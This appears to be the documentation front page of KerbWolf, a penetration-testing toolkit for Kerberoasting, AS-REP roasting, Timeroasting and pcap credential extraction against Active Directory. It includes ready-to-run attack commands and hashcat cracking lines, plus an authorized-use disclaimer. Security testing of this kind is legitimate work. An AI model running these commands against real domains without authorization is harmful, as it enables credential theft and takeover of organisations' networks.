Skip to content

Python 3.11+ License

KerbWolf

Kerberos roasting and TGT attack toolkit for Active Directory.

KerbWolf extracts crackable hashes from Active Directory. 7 Kerberos encryption types (including RFC 8009 AES-SHA2), 4 attack types, 25 output formats including NTLM. hashcat has a mode for 18 of them; the six AES-SHA2 formats and the 120-byte MS-SNTP format have none.

Pick a tool

Command Attack Use it when you have Needs credentials Produces
kw-roast TGS-REP Roast (Kerberoast) A domain account, or one account without pre-authentication Yes (password, hash, or ccache) Service ticket hashes for SPN accounts
kw-asrep AS-REP Roast Usernames to try No (LDAP discovery needs auth) Hashes from accounts without pre-authentication
kw-timeroast Timeroasting (MS-SNTP) A network path to a DC No (LDAP discovery needs auth) SNTP hashes for computer, gMSA, and trust accounts
kw-extract All (from pcap) A pcap/pcapng capture, or somewhere to capture No (offline) Kerberos, SNTP, NTLM, and LDAP simple-bind credentials
kw-tgt TGT acquisition A password, hash, or key (pass-the-key) Yes A ccache for the other tools

What the commands share (credentials, finding the DC, LDAP discovery, -e) is on Common options.

Quick start

uv tool install kerbwolf        # or: pip install kerbwolf

The installation guide covers the system Kerberos libraries and installing from source.

flowchart LR
    A["Get credentials<br/>(password, hash, key)"] --> B["kw-tgt<br/>Request TGT"]
    B --> C["admin.ccache"]
    C --> D["kw-roast --ldap<br/>Kerberoast"]
    C --> E["kw-asrep --ldap<br/>AS-REP Roast"]
    D & E --> F["hashes.txt"]
    F --> G["hashcat<br/>Crack offline"]
    G --> H["Passwords!"]

    Z["Packet capture<br/>(tcpdump, Wireshark)"] --> Y["kw-extract<br/>Parse pcap"]
    Y --> F

    style C fill:#7c6fe01f,stroke:#7c6fe0
    style F fill:#d645451f,stroke:#d64545
    style H fill:#2f9e441f,stroke:#2f9e44

With credentials, get a TGT, Kerberoast every SPN account found over LDAP, and crack:

# 1. Get a TGT
kw-tgt -d CORP.LOCAL --dc-ip 10.0.0.1 -u admin -p 'Password1!' -o admin.ccache

# 2. Kerberoast via LDAP (auto-discover service accounts)
kw-roast -k -c admin.ccache --ldap -o hashes.txt

# 3. Crack with hashcat: one mode per hash type and etype
hashcat -m 13100 hashes.txt wordlist.txt    # RC4
hashcat -m 19700 hashes.txt wordlist.txt    # AES256

hashcat has to be built from its master branch: the v8.0.0 release does not load these lines in mode 13100 and several others (see the mode matrix).

Domain and username come from the ccache, so -d and -u aren't needed. DC is found via DNS SRV. No DNS? Add --dc-ip, and give the system Kerberos library a krb5.conf for the LDAP bind (see Kerberos setup).

Without credentials, AS-REP roast named accounts or timeroast a RID range:

kw-asrep -d CORP.LOCAL --dc-ip 10.0.0.1 -t jsmith -t svc_backup -o asrep.txt
hashcat -m 18200 asrep.txt wordlist.txt    # RC4 AS-REP

kw-timeroast 10.0.0.1 -r 500-5000 -o hashes.txt

From a capture, AS-REQ Pre-Auth and everything else in it:

kw-extract capture.pcap -o capture-hashes.txt
tcpdump -i eth0 -w - port 88 | kw-extract -

Where to go next

  • Run a tool: the command pages above, each opening with examples.
  • Pick a hashcat mode: the Hash Reference starts with the mode for every attack and etype.
  • Fix a hash that will not load or crack: Troubleshooting lists symptoms and causes.
  • Understand the attacks: Attacks, Timeroasting and Encryption Types.
  • Estimate the work: Cracking Speed has measured rates and time to exhaust common keyspaces.
  • Write these hash lines yourself: Hashcat Internals has the limits and accepted shapes of every mode.

Disclaimer

KerbWolf is intended for authorized penetration testing, red team engagements, and security audits only. You must have explicit written permission from the system owner before attacking any Active Directory environment. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse or damage caused by this tool.

Credits

Built on Impacket and ldap3. Inspired by Rubeus, GetUserSPNs.py, and hashcat.

License

Apache License 2.0